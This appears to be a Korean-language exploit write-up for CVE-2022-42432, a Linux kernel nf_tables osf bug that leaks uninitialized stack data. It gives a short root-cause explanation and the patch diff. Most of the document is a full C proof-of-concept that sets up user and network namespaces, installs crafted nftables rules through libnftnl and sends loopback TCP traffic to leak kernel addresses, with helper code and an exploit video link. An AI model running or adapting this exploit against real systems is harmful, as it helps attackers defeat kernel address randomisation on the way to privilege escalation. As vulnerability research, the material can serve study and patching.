CVE-2022-42432

struct expr_ops expr_ops_osf = {
	.name		= "osf",
	.alloc_len	= sizeof(struct nftnl_expr_osf),
	.max_attr	= NFTA_OSF_MAX,
	.set		= nftnl_expr_osf_set,
	.get		= nftnl_expr_osf_get,
	.parse		= nftnl_expr_osf_parse,
	.build		= nftnl_expr_osf_build,
	.output		= nftnl_expr_osf_snprintf,
};

libnftnl 소스코드에서 osf expr도 지원한다는 것을 알 수 있었다.

struct nftnl_expr_osf {
	enum nft_registers	dreg;
	uint8_t			ttl;
	uint32_t		flags;
};
static int nftnl_expr_osf_set(struct nftnl_expr *e, uint16_t type,
			      const void *data, uint32_t data_len)
{
	struct nftnl_expr_osf *osf = nftnl_expr_data(e);
	switch(type) {
	case NFTNL_EXPR_OSF_DREG:
		memcpy(&osf->dreg, data, sizeof(osf->dreg));
		break;
	case NFTNL_EXPR_OSF_TTL:
		memcpy(&osf->ttl, data, sizeof(osf->ttl));
		break;
	case NFTNL_EXPR_OSF_FLAGS:
		memcpy(&osf->flags, data, sizeof(osf->flags));
		break;
	}
	return 0;
}

nf tables에서 expr 추가하듯이 추가하면 된다.

enum expr_types {
	EXPR_INVALID,
	EXPR_VERDICT,
	EXPR_SYMBOL,
	EXPR_VARIABLE,
	EXPR_VALUE,
	EXPR_PREFIX,
	EXPR_RANGE,
	EXPR_PAYLOAD,
	EXPR_EXTHDR,
	EXPR_META,
	EXPR_SOCKET,
	EXPR_OSF,
	EXPR_CT,
	EXPR_CONCAT,
	EXPR_LIST,
	EXPR_SET,
	EXPR_SET_REF,
	EXPR_SET_ELEM,
	EXPR_MAPPING,
	EXPR_MAP,
	EXPR_UNARY,
	EXPR_BINOP,
	EXPR_RELATIONAL,
	EXPR_NUMGEN,
	EXPR_HASH,
	EXPR_RT,
	EXPR_FIB,
	EXPR_XFRM,
	EXPR_SET_ELEM_CATCHALL,
	EXPR_FLAGCMP,
	EXPR_MAX = EXPR_FLAGCMP
};
strncpy((char *)dest, "unknown", NFT_OSF_MAXGENRELEN);
	} else {
		if (priv->flags & NFT_OSF_F_VERSION)
			snprintf(os_match, NFT_OSF_MAXGENRELEN, "%s:%s",
				 data.genre, data.version);

flags에는 NFT_OSF_F_VERSION을 세팅해줘야 더 많이 복사가 된다?

Root Cause

diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 0fa2e2030427..ee6840bd5933 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -269,6 +269,7 @@  bool nf_osf_find(const struct sk_buff *skb,
 	struct nf_osf_hdr_ctx ctx;
 	const struct tcphdr *tcp;
 	struct tcphdr _tcph;
+	bool found = false;
 
 	memset(&ctx, 0, sizeof(ctx));
 
@@ -283,10 +284,11 @@  bool nf_osf_find(const struct sk_buff *skb,
 
 		data->genre = f->genre;
 		data->version = f->version;
+		found = true;
 		break;
 	}
 
-	return true;
+	return found;
 }
 EXPORT_SYMBOL_GPL(nf_osf_find);

nf_osf_find 함수가 항상 true를 리턴해서 초기화되지 않은 영역을 릭할 수 있다.

bool nf_osf_find(const struct sk_buff *skb,
		 const struct list_head *nf_osf_fingers,
		 const int ttl_check, struct nf_osf_data *data)
{
	const struct iphdr *ip = ip_hdr(skb);
	const struct nf_osf_user_finger *f;
	unsigned char opts[MAX_IPOPTLEN];
	const struct nf_osf_finger *kf;
	struct nf_osf_hdr_ctx ctx;
	const struct tcphdr *tcp;
	struct tcphdr _tcph;
	memset(&ctx, 0, sizeof(ctx));
	tcp = nf_osf_hdr_ctx_init(&ctx, skb, ip, opts, &_tcph);
	if (!tcp)
		return false;
	list_for_each_entry_rcu(kf, &nf_osf_fingers[ctx.df], finger_entry) {
		f = &kf->finger;
		if (!nf_osf_match_one(skb, f, ttl_check, &ctx))
			continue;
		data->genre = f->genre;
		data->version = f->version;
		break;
	}
	return true;
}
EXPORT_SYMBOL_GPL(nf_osf_find);

nf_osf_fingers를 돌면서 kf에 값을 할당한뒤, match하는지 확인한다.

static void nft_osf_eval(const struct nft_expr *expr, struct nft_regs *regs,
			 const struct nft_pktinfo *pkt)
{
	struct nft_osf *priv = nft_expr_priv(expr);
	u32 *dest = &regs->data[priv->dreg];
	struct sk_buff *skb = pkt->skb;
	char os_match[NFT_OSF_MAXGENRELEN + 1];
	const struct tcphdr *tcp;
	struct nf_osf_data data;
	struct tcphdr _tcph;
	if (pkt->tprot != IPPROTO_TCP) {
		regs->verdict.code = NFT_BREAK;
		return;
	}
	tcp = skb_header_pointer(skb, ip_hdrlen(skb),
				 sizeof(struct tcphdr), &_tcph);
	if (!tcp) {
		regs->verdict.code = NFT_BREAK;
		return;
	}
	if (!tcp->syn) {
		regs->verdict.code = NFT_BREAK;
		return;
	}
	if (!nf_osf_find(skb, nf_osf_fingers, priv->ttl, &data)) {
		strncpy((char *)dest, "unknown", NFT_OSF_MAXGENRELEN);
	} else {
		if (priv->flags & NFT_OSF_F_VERSION)
			snprintf(os_match, NFT_OSF_MAXGENRELEN, "%s:%s",
				 data.genre, data.version);
		else
			strlcpy(os_match, data.genre, NFT_OSF_MAXGENRELEN);
		strncpy((char *)dest, os_match, NFT_OSF_MAXGENRELEN);
	}
}

무조건 true가 리턴되기 때문에 data 부분 릭 가능하다.

static bool nf_osf_match_one(const struct sk_buff *skb,
			     const struct nf_osf_user_finger *f,
			     int ttl_check,
			     struct nf_osf_hdr_ctx *ctx)
{
	const __u8 *optpinit = ctx->optp;
	unsigned int check_WSS = 0;
	int fmatch = FMATCH_WRONG;
	int foptsize, optnum;
	u16 mss = 0;
	if (ctx->totlen != f->ss || !nf_osf_ttl(skb, ttl_check, f->ttl))
		return false;
	/*
	 * Should not happen if userspace parser was written correctly.
	 */

find안에서 호출하는데, 이때 이부분을 잘 조작해서 무조건 false 리턴하게해서 넘어가면 된다.

Leak

nft log를 호출해서 모듈의 rodata section 부분을 가져올 수 있고, 코드 영역도 구할 수 있다.

#define _GNU_SOURCE
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <stddef.h>
#include "utils.h"
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#define SIZE 0x800
// static struct nftnl_rule *isolate_pkt(uint8_t family, const char *table, const char *chain, const char * target_chain)
// {
// 	struct nftnl_rule *r = NULL;
// 	uint16_t port = 8888;
// 	r = nftnl_rule_alloc();
// 	if (r == NULL) {
// 		perror("OOM");
// 		exit(EXIT_FAILURE);
// 	}
	
// 	nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
// 	nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
// 	nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);

// 	add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0, NFT_REG_1, 13,1); // 0x18 -> PSH ACK
// 	add_cmp(r,NFT_REG_1, NFT_CMP_EQ, "\x18",1);
// 	add_verdict(r, NFT_JUMP, target_chain, NFT_REG_VERDICT);
//   // TODO
// 	return r;
// }
static struct nftnl_rule *edit_pkt_data(uint8_t family, const char *table, const char *chain)
{
    struct nftnl_rule *r = NULL;
    r = nftnl_rule_alloc();
    if (r == NULL) {
        perror("OOM");
        exit(EXIT_FAILURE);
    }
    // enum nft_payload_bases {
    //     NFT_PAYLOAD_LL_HEADER,
    //     NFT_PAYLOAD_NETWORK_HEADER,
    //     NFT_PAYLOAD_TRANSPORT_HEADER,
    // };
    
    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
    
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0, NFT_REG32_08, 13,4);
    add_cmp(r, NFT_REG32_08, NFT_CMP_EQ, "\x18", 1);
    mov_imm(r, NFT_REG_4,"\x02",1);
    // add_bitwise(r, 0x2); // 2
    // add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, 0, 2,2); // total len corrupt
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_4, 0, 13,1); 
    
    // add_cmp(r,NFT_REG_3,NFT_CMP_NEQ, "\xff",1); // NO CRASH BUT NOT LEAKED
    add_log(r); // LEAK
    // add_range(r);
    add_osf(r, NFT_REG_1, 0, NFT_OSF_F_VERSION); 
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1, 0, 0x28,0x10);
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG32_08, 0, 13,1);
    // TODO
    return r;
}
void install_rule_for_leak()
{
	// if(create_rule(isolate_pkt(NFPROTO_IPV4, "filter", "input", "leak")) == 0 ){
	// 	perror("error creating rule");
	// 	exit(EXIT_FAILURE);
	// }
	// if(create_rule(edit_pkt_data(NFPROTO_IPV4, "filter", "leak")) == 0 ){
	// 	perror("error creating rule");
	// 	exit(EXIT_FAILURE);
	// }
    if(create_rule(edit_pkt_data(NFPROTO_IPV4, "filter", "input")) == 0 ){
		perror("error creating rule");
		exit(EXIT_FAILURE);
	}
    
}
void client(void * data){
	int sockfd;
    struct sockaddr_in server_addr;
	char * buf = malloc(0x200);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        perror("socket");
        exit(EXIT_FAILURE);
    }
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(8888);
    inet_pton(AF_INET, "127.0.0.1", &(server_addr.sin_addr));
	if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof((server_addr))) == -1) {
    	perror("connect");
        close(sockfd);
        exit(EXIT_FAILURE);
    }
    for(int i =0;i<4;i++){
	    int res = write(sockfd, data, SIZE);
    }
	close(sockfd);
    return 0;
}
void server(void *buf) {
    struct sockaddr_in server_addr;
    socklen_t server_addr_len;
    struct sockaddr_in client_addr;
    socklen_t client_addr_len;
    char tmp[0x200];
    client_addr_len = sizeof(client_addr);
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd == -1) {
        perror("socket");
        exit(EXIT_FAILURE);
    }
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(8888);
    server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    if (bind(fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
        perror("bind");
        close(fd);
        exit(EXIT_FAILURE);
    }
    if (listen(fd, 50) < 0) {
        perror("listen");
        close(fd);
        exit(EXIT_FAILURE);
    }
    int cl_sock = accept(fd, (struct sockaddr *)&client_addr, &client_addr_len);
	if (cl_sock < 0){
		perror("accept");
		close(fd);
		exit(EXIT_FAILURE);
	}
    for (int i =0;i<4;i++){
        int ret = read(cl_sock, buf, SIZE);
        hexdump(buf,0x20);
        uint64_t leak = *(uint64_t * )((uint64_t)buf + 9);
        printf("Leaked : 0x%lx\n", leak);
    }
    
    close(cl_sock); // Close client socket
    close(fd);      // Close server socket
}

int main(int argc, char *argv[])
{
    int tid, status;
    pthread_t p_thread;
    unsigned char udpbuf[512] = {0,};
	uint64_t kernel_base = 0;
    memset(udpbuf, 0x41, 512);
    new_ns();
    system("ip link set lo up");
	uint64_t * buf = malloc(0x200);
    tid = pthread_create(&p_thread, NULL, server, buf);
    if (tid < 0){
        perror("thread create error : ");
        exit(0);
    }
	if(create_table(NFPROTO_IPV4, "filter", false) == 0){
		perror("error creating table");
		exit(EXIT_FAILURE);
	}
	if(create_chain("filter", "input", NF_INET_LOCAL_IN) == 0){
		perror("error creating chain");
		exit(EXIT_FAILURE);
	}
	if(create_chain("filter", "leak", 0) == 0){
		perror("error creating chain");
		exit(EXIT_FAILURE);
	}

    install_rule_for_leak();
	printf("[-] send & recv tcp packet\n");
	usleep(1000);
    client(udpbuf);
	sleep(1);
    
    return 0;
}
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <pthread.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
void add_log(struct nftnl_rule *r){
	struct nftnl_expr * expr = nftnl_expr_alloc("log");
	nftnl_expr_set_u32(expr, NFTNL_EXPR_LOG_GROUP, 0);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_LOG_PREFIX, "Packet logged: ");
    nftnl_expr_set_u32(expr, NFTNL_EXPR_LOG_SNAPLEN, 128);
    nftnl_rule_add_expr(r, expr);
}
void add_range(struct nftnl_rule *r){
	struct nftnl_expr * expr = nftnl_expr_alloc("range");
	nftnl_expr_set_u32(expr, NFTNL_EXPR_RANGE_SREG, NFT_REG_4);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_RANGE_OP, NFT_RANGE_NEQ);
    nftnl_expr_set_u32(expr, NFTA_RANGE_FROM_DATA, 0xff);
    nftnl_expr_set_u32(expr, NFTA_RANGE_TO_DATA, 0x100);
    nftnl_rule_add_expr(r, expr);
}
void add_bitwise(struct nftnl_rule *r, uint32_t bitmask){
	struct nftnl_expr * expr = nftnl_expr_alloc("bitwise");
    nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_SREG, NFT_REG_2);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_DREG, NFT_REG_4);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_OP, NFTA_BITWISE_DATA);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_LEN, 1);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_MASK, bitmask);
    nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_DATA, 0x2);
    nftnl_rule_add_expr(r, expr);
}
void mov_imm(struct nftnl_rule *r, uint32_t dreg, uint8_t * data, uint32_t datalen)
{
	struct nftnl_expr *e;
	e = nftnl_expr_alloc("immediate");
	if (e == NULL) {
		perror("expr imm oom");
		exit(EXIT_FAILURE);
	}
	nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, dreg);
	nftnl_expr_set(e,NFTNL_EXPR_IMM_DATA,data,datalen);
	nftnl_rule_add_expr(r, e);
}

void add_osf(struct nftnl_rule *r, uint32_t dreg, uint8_t ttl,
		uint32_t flags)
{
	struct nftnl_expr *e;
	e = nftnl_expr_alloc("osf");
	if (e == NULL) {
		perror("expr osf oom");
		exit(EXIT_FAILURE);
	}
	nftnl_expr_set_u32(e, NFTNL_EXPR_OSF_DREG, dreg);
	nftnl_expr_set_u8(e, NFTNL_EXPR_OSF_TTL, ttl);
	nftnl_expr_set_u32(e, NFTNL_EXPR_OSF_FLAGS, flags);
	nftnl_rule_add_expr(r, e);
}
void pin_cpu(int cpu)
{
	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(cpu_set_t), &set)) {
		printf("error\n");
		exit(-1);
	}
}
bool create_table(uint32_t protocol, char * table_name, bool delete){
	struct mnl_socket *nl;
	char buf[MNL_SOCKET_BUFFER_SIZE];
	struct nlmsghdr *nlh;
	uint32_t portid, seq, table_seq, chain_seq, family;
	struct nftnl_table *t;
	struct mnl_nlmsg_batch *batch;
	int ret, batching;
	t = nftnl_table_alloc();
	if (t == NULL) {
		perror("nftnl_table_alloc");
		return false;
	}
	nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, protocol);  
	nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);
	batching = nftnl_batch_is_supported();
	if (batching < 0) {
		perror("cannot talk to nfnetlink");
		return false;
	}
	seq = time(NULL);
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	if (batching) {
		nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
		mnl_nlmsg_batch_next(batch);
	}
	table_seq = seq;

	nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
			delete?NFT_MSG_DELTABLE:NFT_MSG_NEWTABLE, NFPROTO_IPV4,
			NLM_F_ACK, seq++);
	nftnl_table_nlmsg_build_payload(nlh, t);
	nftnl_table_free(t);
	mnl_nlmsg_batch_next(batch);
	if (batching) {
		nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
		mnl_nlmsg_batch_next(batch);
	}
	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (nl == NULL) {
		perror("mnl_socket_open");
		return false;
	}
	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
		perror("mnl_socket_bind");
		return false;
	}
	portid = mnl_socket_get_portid(nl);
	if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
				mnl_nlmsg_batch_size(batch)) < 0) {
		perror("mnl_socket_send");
		return false;
	}
	mnl_nlmsg_batch_stop(batch);
	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	while (ret > 0) {
		ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL);
		if (ret <= 0)
			break;
		ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	}
	if (ret == -1) {
		perror("error");
		return false;
	}
	mnl_socket_close(nl);
	return true;
}


bool create_chain(char * table_name, char * chain_name, uint32_t hook_num){  // NF_INET_LOCAL_IN
	struct mnl_socket *nl;
	char buf[MNL_SOCKET_BUFFER_SIZE];
	struct nlmsghdr *nlh;
	uint32_t portid, seq, chain_seq;
	int ret, family;
	struct nftnl_chain *t;
	struct mnl_nlmsg_batch *batch;
	int batching;
	t = nftnl_chain_alloc();
	if (t == NULL)
		return false;
	nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
	nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);
	if(hook_num != 0)
		nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hook_num);
	nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0);
	batching = nftnl_batch_is_supported();
	if (batching < 0) {
		perror("cannot talk to nfnetlink");
		return false;
	}
	seq = time(NULL);
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	if (batching) {
		nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
		mnl_nlmsg_batch_next(batch);
	}
	chain_seq = seq;
	nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
			NFT_MSG_NEWCHAIN, NFPROTO_IPV4,
			NLM_F_ACK, seq++);
	nftnl_chain_nlmsg_build_payload(nlh, t);
	nftnl_chain_free(t);
	mnl_nlmsg_batch_next(batch);
	if (batching) {
		nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
		mnl_nlmsg_batch_next(batch);
	}
	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (nl == NULL) {
		perror("mnl_socket_open");
		return false;
	}
	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
		perror("mnl_socket_bind");
		return false;
	}
	portid = mnl_socket_get_portid(nl);
	if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
				mnl_nlmsg_batch_size(batch)) < 0) {
		perror("mnl_socket_send");
		return false;
	}
	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	while (ret > 0) {
		ret = mnl_cb_run(buf, ret, chain_seq, portid, NULL, NULL);
		if (ret <= 0)
			break;
		ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	}
	if (ret == -1) {
		perror("error");
		return false;
	}
	mnl_socket_close(nl);
	return true;
}
bool delete_chain(char * table_name, char * chain_name){ 
	struct mnl_socket *nl;
	char buf[MNL_SOCKET_BUFFER_SIZE];
	struct nlmsghdr *nlh;
	uint32_t portid, seq, chain_seq;
	int ret, family;
	struct nftnl_chain *t;
	struct mnl_nlmsg_batch *batch;
	int batching;
	t = nftnl_chain_alloc();
	if (t == NULL)
		return false;
	nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
	nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);
	seq = time(NULL);
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);
	chain_seq = seq;
    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
					NFT_MSG_DELCHAIN, NFPROTO_IPV4,
					NLM_F_ACK, seq++);
	nftnl_chain_nlmsg_build_payload(nlh, t);
	nftnl_chain_free(t);
	mnl_nlmsg_batch_next(batch);
	
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (nl == NULL) {
		perror("mnl_socket_open");
		return false;
	}
	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
		perror("mnl_socket_bind");
		return false;
	}
	portid = mnl_socket_get_portid(nl);
	if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
				mnl_nlmsg_batch_size(batch)) < 0) {
		perror("mnl_socket_send");
		return false;
	}
    mnl_nlmsg_batch_stop(batch);
	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	while (ret > 0) {
		ret = mnl_cb_run(buf, ret, chain_seq, portid, NULL, NULL);
		if (ret <= 0)
			break;
		ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	}
	if (ret == -1) {
		perror("error");
		return false;
	}
	mnl_socket_close(nl);
	return true;
}
bool create_rule(struct nftnl_rule * r)
{
	struct mnl_socket *nl;
	struct nlmsghdr *nlh;
	struct mnl_nlmsg_batch *batch;
	char buf[MNL_SOCKET_BUFFER_SIZE];
	uint32_t seq = time(NULL);
	int ret;
	nl = mnl_socket_open(NETLINK_NETFILTER);
	if (nl == NULL) {
		perror("mnl_socket_open");
		return false;
	}
	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
		perror("mnl_socket_bind");
		return false;
	}
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);
	nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
			NFT_MSG_NEWRULE,
			nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
			NLM_F_APPEND|NLM_F_CREATE|NLM_F_ACK, seq++);
	nftnl_rule_nlmsg_build_payload(nlh, r);
	nftnl_rule_free(r);
	mnl_nlmsg_batch_next(batch);
	nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);
	ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
			mnl_nlmsg_batch_size(batch));
	if (ret == -1) {
		perror("mnl_socket_sendto");
		return false;
	}
	mnl_nlmsg_batch_stop(batch);
	ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
	if (ret == -1) {
		perror("mnl_socket_recvfrom");
		return false;
	}
	ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
	if (ret < 0) {
		perror("mnl_cb_run");
		return false;
	}
	mnl_socket_close(nl);
	return true;
}

static void add_meta(struct nftnl_rule *r, uint32_t key, uint32_t dreg)
{
	struct nftnl_expr *e;
	e = nftnl_expr_alloc("meta");
	if (e == NULL) {
		perror("expr payload oom");
		exit(EXIT_FAILURE);
	}
	nftnl_expr_set_u32(e, NFTNL_EXPR_META_KEY, key);
	nftnl_expr_set_u32(e, NFTNL_EXPR_META_DREG, dreg);
	nftnl_rule_add_expr(r, e);
}
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
		const void *data, uint32_t data_len)
{
	struct nftnl_expr *e;
	e = nftnl_expr_alloc("cmp");
	if (e == NULL) {
		perror("expr cmp oom");
		exit(EXIT_FAILURE);
	}
	nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_SREG, sreg);
	nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
	nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
	nftnl_rule_add_expr(r, e);
}
static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t sreg, uint32_t dreg, uint32_t offset, uint32_t len)
{
	struct nftnl_expr *e;
	e = nftnl_expr_alloc("payload");
	if (e == NULL) {
		perror("expr payload oom");
		exit(EXIT_FAILURE);
	}
	nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
	if(sreg != 0)
		nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_SREG, sreg);
	if(dreg != 0)
		nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
	nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
	nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
	nftnl_rule_add_expr(r, e);
}
int add_verdict(struct nftnl_rule *r, int verdict, char * chain, u_int32_t dreg)
{
	struct nftnl_expr *e;
	e = nftnl_expr_alloc("immediate");
	if (e == NULL) {
		perror("expr payload oom");
		exit(EXIT_FAILURE);
	}
	nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, dreg);
	nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict);
	if(chain)
		nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain);
	nftnl_rule_add_expr(r, e);
	return 0;
}
void write_file(const char *filename, char *text) {
    int fd = open(filename, O_RDWR);
    write(fd, text, strlen(text));
    close(fd);
}
void new_ns(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];
    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        perror(" [-] unshare(CLONE_NEWUSER | CLONE_NEWNS)");
		exit(EXIT_FAILURE);
	}
    if (unshare(CLONE_NEWNET)){
        perror(" [-] unshare(CLONE_NEWNET)");
		exit(EXIT_FAILURE);
	}
       
    write_file("/proc/self/setgroups", "deny");
    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write_file("/proc/self/uid_map", buffer);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write_file("/proc/self/gid_map", buffer);
}


#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif
void hexdump(void *mem, unsigned int len)
{
	unsigned int i, j;
	for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++)
	{
		/* print offset */
		if(i % HEXDUMP_COLS == 0)
		{
			printf("0x%06x: ", i);
		}
		/* print hex data */
		if(i < len)
		{
			printf("%02x ", 0xFF & ((char*)mem)[i]);
		}
		else /* end of block, just aligning for ASCII dump */
		{
			printf("   ");
		}
		/* print ASCII dump */
		if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1))
		{
			for(j = i - (HEXDUMP_COLS - 1); j <= i; j++)
			{
				if(j >= len) /* end of block, not really printing */
				{
					putchar(' ');
				}
				else if(isprint(((char*)mem)[j])) /* printable char */
				{
					putchar(0xFF & ((char*)mem)[j]);        
				}
				else /* other char */
				{
					putchar('.');
				}
			}
			putchar('\n');
		}
	}
}



https://youtu.be/p_VYklBtE4A Exploit